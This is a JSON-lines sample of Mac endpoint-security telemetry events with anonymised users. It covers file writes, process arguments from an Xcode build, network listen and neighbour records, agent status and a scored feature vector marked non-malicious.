+{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} +{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} +{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} +{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} +{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} 